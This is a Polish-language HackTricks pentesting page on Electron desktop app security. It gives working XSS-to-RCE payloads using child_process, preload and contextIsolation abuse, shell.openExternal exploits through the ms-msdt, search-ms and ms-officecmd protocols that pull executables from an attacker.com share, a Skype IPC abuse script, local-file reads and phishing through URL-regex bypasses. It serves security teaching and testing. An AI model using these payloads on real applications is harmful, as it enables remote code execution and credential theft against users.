Aplikacje desktopowe Electron
Reading time: 16 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wprowadzenie
Electron łączy lokalny backend (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów zabezpieczeń nowoczesnych przeglądarek.
Zazwyczaj kod aplikacji electron można znaleźć wewnątrz aplikacji .asar
, aby uzyskać kod, musisz go wyodrębnić:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
W kodzie źródłowym aplikacji Electron, w pliku packet.json
, można znaleźć określony plik main.js
, w którym ustawione są konfiguracje zabezpieczeń.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ma 2 typy procesów:
- Proces główny (ma pełny dostęp do NodeJS)
- Proces renderera (powinien mieć ograniczony dostęp do NodeJS z powodów bezpieczeństwa)
Proces renderera będzie oknem przeglądarki ładującym plik:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Ustawienia procesu renderera mogą być konfigurowane w procesie głównym w pliku main.js. Niektóre z konfiguracji będą zapobiegać uzyskaniu RCE lub innych luk w zabezpieczeniach, jeśli ustawienia są poprawnie skonfigurowane.
Aplikacja electron może uzyskać dostęp do urządzenia za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec:
nodeIntegration
- jestwyłączone
domyślnie. Jeśli włączone, pozwala na dostęp do funkcji node z procesu renderera.contextIsolation
- jestwłączone
domyślnie. Jeśli wyłączone, procesy główny i renderera nie są izolowane.preload
- pusty domyślnie.sandbox
- jest wyłączone domyślnie. Ograniczy to działania, które NodeJS może wykonać.- Integracja Node w Workerach
nodeIntegrationInSubframes
- jestwyłączone
domyślnie.- Jeśli
nodeIntegration
jest włączone, pozwoli to na użycie API Node.js w stronach internetowych, które są ładowane w iframe w aplikacji Electron. - Jeśli
nodeIntegration
jest wyłączone, wówczas preloady będą ładowane w iframe.
Przykład konfiguracji:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Niektóre RCE payloads z tutaj:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Przechwytywanie ruchu
Zmień konfigurację start-main i dodaj użycie proxy, takiego jak:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Wstrzykiwanie kodu lokalnego w Electron
Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość, że możesz sprawić, aby wykonała dowolny kod JavaScript. Sprawdź jak w:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Jeśli nodeIntegration jest ustawione na on, JavaScript na stronie internetowej może łatwo korzystać z funkcji Node.js, po prostu wywołując require()
. Na przykład, sposób uruchomienia aplikacji kalkulatora w systemie Windows to:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Skrypt wskazany w tym ustawieniu jest ladowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Dlatego skrypt może eksportować node-features do stron:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Jeśli
contextIsolation
jest włączony, to nie zadziała
RCE: XSS + contextIsolation
contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electron, aby wykonanie JavaScript w każdym kodzie nie wpływało na siebie nawzajem. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
Jeśli konteksty nie są izolowane, atakujący może:
- Wykonać dowolny JavaScript w rendererze (XSS lub nawigacja do zewnętrznych stron)
- Nadpisać wbudowaną metodę, która jest używana w preload lub wewnętrznym kodzie Electron na własną funkcję
- Wywołać użycie nadpisanej funkcji
- RCE?
Są 2 miejsca, w których wbudowane metody mogą być nadpisane: w kodzie preload lub w wewnętrznym kodzie Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Ominięcie zdarzenia kliknięcia
Jeśli na kliknięcie linku nałożone są ograniczenia, możesz być w stanie je obejść wykonując kliknięcie środkowe zamiast zwykłego lewego kliknięcia.
window.addEventListener('click', (e) => {
RCE za pomocą shell.openExternal
Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 oraz https://benjamin-altpeter.de/shell-openexternal-dangers/
Podczas wdrażania aplikacji desktopowej Electron, zapewnienie odpowiednich ustawień dla nodeIntegration
i contextIsolation
jest kluczowe. Ustalono, że wykonywanie zdalnego kodu po stronie klienta (RCE), które celuje w skrypty preload lub natywny kod Electron z głównego procesu, jest skutecznie zapobiegane przy tych ustawieniach.
Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Te nasłuchiwacze są nadpisywane przez aplikację desktopową, aby wdrożyć własną logikę biznesową. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie, czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji openInternally
. Jeśli ta funkcja zwraca false
, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję shell.openExternal
.
Oto uproszczony pseudokod:
Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnej zawartości za pomocą funkcji openExternal
, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do tego zasobu, który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
W macos funkcja openExternal
może być wykorzystana do wykonywania dowolnych poleceń, jak w shell.openExternal('file:///System/Applications/Calculator.app')
.
Przykłady exploitów protokołów Windows obejmują:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + podatny preload IPC + shell.openExternal
Ta luka może być znaleziona w tym raporcie.
webviewTag to przestarzała funkcja, która umożliwia użycie NodeJS w procesie renderowania, co powinno być wyłączone, ponieważ pozwala na załadowanie skryptu w kontekście preload, jak:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Dlatego atakujący, który zdoła załadować dowolną stronę, mógłby użyć tego tagu do załadowania dowolnego skryptu preload.
Ten skrypt preload został następnie wykorzystany do wywołania vulnerable IPC service (skype-new-window
), który wywoływał shell.openExternal
, aby uzyskać RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Odczyt wewnętrznych plików: XSS + contextIsolation
Wyłączenie contextIsolation
umożliwia użycie tagów <webview>
, podobnie jak <iframe>
, do odczytu i eksfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę lukę, aby odczytać zawartość wewnętrznych plików:
Ponadto, udostępniona jest inna metoda odczytu wewnętrznego pliku, podkreślająca krytyczną lukę w odczycie lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Stary Chromium
Jeśli chromium używane przez aplikację jest stare i istnieją znane luki w nim, może być możliwe wykorzystanie tego i uzyskanie RCE przez XSS.
Możesz zobaczyć przykład w tym opisie: https://blog.electrovolt.io/posts/discord-rce/
Phishing XSS za pomocą obejścia regex URL wewnętrznego
Zakładając, że znalazłeś XSS, ale nie możesz wywołać RCE ani ukraść plików wewnętrznych, możesz spróbować wykorzystać to do kradzieży poświadczeń za pomocą phishingu.
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Wywołanie openInternally
zdecyduje, czy link zostanie otwarty w oknie desktopowym, ponieważ jest to link należący do platformy, czy zostanie otwarty w przeglądarce jako zasób zewnętrzny.
W przypadku, gdy regex użyty przez funkcję jest vulnerable to bypasses (na przykład przez nieescapowanie kropek subdomen) atakujący mógłby wykorzystać XSS do otwarcia nowego okna, które będzie znajdować się w infrastrukturze atakującego prosząc o dane uwierzytelniające od użytkownika:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocol
Jak wspomniano w dokumentacji, strony działające na file://
mają jednostronny dostęp do każdego pliku na twoim komputerze, co oznacza, że problemy XSS mogą być używane do ładowania dowolnych plików z maszyny użytkownika. Użycie niestandardowego protokołu zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.
Remote module
Moduł Remote w Electronie pozwala procesom renderującym na dostęp do API procesu głównego, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Rozszerza powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na luki, takie jak ataki cross-site scripting (XSS).
tip
Chociaż moduł remote udostępnia niektóre API z procesu głównego do procesów renderujących, nie jest łatwo uzyskać RCE tylko poprzez nadużywanie komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.
warning
Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który wymaga włączenia NodeIntegration w procesie renderującym, co stanowi ogromne ryzyko bezpieczeństwa.
Od wersji Electron 14 moduł remote
może być włączany w kilku krokach, ponieważ z powodów bezpieczeństwa i wydajności zaleca się jego nieużywanie.
Aby go włączyć, najpierw należy włączyć go w procesie głównym:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Następnie proces renderera może importować obiekty z modułu, tak jak:
import { dialog, getCurrentWindow } from '@electron/remote'
blog post wskazuje na kilka interesujących funkcji udostępnionych przez obiekt app
z modułu zdalnego:
app.relaunch([options])
- Restartuje aplikację, kończąc bieżącą instancję i uruchamiając nową. Przydatne do aktualizacji aplikacji lub znaczących zmian stanu.
app.setAppLogsPath([path])
- Definiuje lub tworzy katalog do przechowywania logów aplikacji. Logi można pobierać lub modyfikować za pomocą
app.getPath()
lubapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Rejestruje bieżący plik wykonywalny jako domyślny handler dla określonego protokołu. Możesz podać niestandardową ścieżkę i argumenty, jeśli to konieczne.
app.setUserTasks(tasks)
- Dodaje zadania do kategorii Zadań w Liście Szybkiego Dostępu (na Windows). Każde zadanie może kontrolować, jak aplikacja jest uruchamiana lub jakie argumenty są przekazywane.
app.importCertificate(options, callback)
- Importuje certyfikat PKCS#12 do systemowego magazynu certyfikatów (tylko Linux). Callback może być użyty do obsługi wyniku.
app.moveToApplicationsFolder([options])
- Przenosi aplikację do folderu Aplikacji (na macOS). Pomaga zapewnić standardową instalację dla użytkowników Maca.
app.setJumpList(categories)
- Ustawia lub usuwa niestandardową Listę Szybkiego Dostępu na Windows. Możesz określić kategorie, aby zorganizować, jak zadania pojawiają się dla użytkownika.
app.setLoginItemSettings(settings)
- Konfiguruje, które pliki wykonywalne uruchamiają się przy logowaniu wraz z ich opcjonalnymi ustawieniami (tylko macOS i Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
Główne API do uzyskiwania dostępu do preferencji systemowych i emitowania zdarzeń systemowych w Electron. Metody takie jak subscribeNotification, subscribeWorkspaceNotification, getUserDefault i setUserDefault są częścią tego modułu.
Przykład użycia:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Nasłuchuje natychmiastowych powiadomień macOS za pomocą NSDistributedNotificationCenter.
- Przed macOS Catalina można było podsłuchiwać wszystkie rozproszone powiadomienia, przekazując nil do CFNotificationCenterAddObserver.
- Po Catalina / Big Sur aplikacje w piaskownicy mogą nadal subskrybować wiele zdarzeń (na przykład blokady/odblokowania ekranu, montowanie woluminów, aktywność sieciowa itp.) rejestrując powiadomienia po nazwie.
getUserDefault / setUserDefault
-
Interfejsy z NSUserDefaults, które przechowują preferencje aplikacji lub globalne na macOS.
-
getUserDefault może pobierać wrażliwe informacje, takie jak ostatnie lokalizacje plików lub geograficzna lokalizacja użytkownika.
-
setUserDefault może modyfikować te preferencje, potencjalnie wpływając na konfigurację aplikacji.
-
W starszych wersjach Electron (przed v8.3.0) dostępna była tylko standardowa suite NSUserDefaults.
Shell.showItemInFolder
Ta funkcja wyświetla dany plik w menedżerze plików, co może automatycznie wykonać plik.
Aby uzyskać więcej informacji, sprawdź https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Aplikacje Electron powinny mieć Politykę Bezpieczeństwa Treści (CSP), aby zapobiegać atakom XSS. CSP to standard bezpieczeństwa, który pomaga zapobiegać wykonywaniu niezaufanego kodu w przeglądarce.
Zwykle jest konfigurowany w pliku main.js
lub w szablonie index.html
z CSP wewnątrz tagu meta.
Aby uzyskać więcej informacji, sprawdź:
Content Security Policy (CSP) Bypass
Narzędzia
- Electronegativity to narzędzie do identyfikacji błędów konfiguracyjnych i wzorców antybezpieczeństwa w aplikacjach opartych na Electron.
- Electrolint to otwarty plugin VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
- nodejsscan do sprawdzania podatnych bibliotek stron trzecich.
- Electro.ng: Musisz go kupić.
Laboratoria
W https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s możesz znaleźć laboratorium do eksploatacji podatnych aplikacji Electron.
Niektóre polecenia, które pomogą Ci w laboratorium:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referencje
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Więcej badań i artykułów na temat bezpieczeństwa Electron w https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.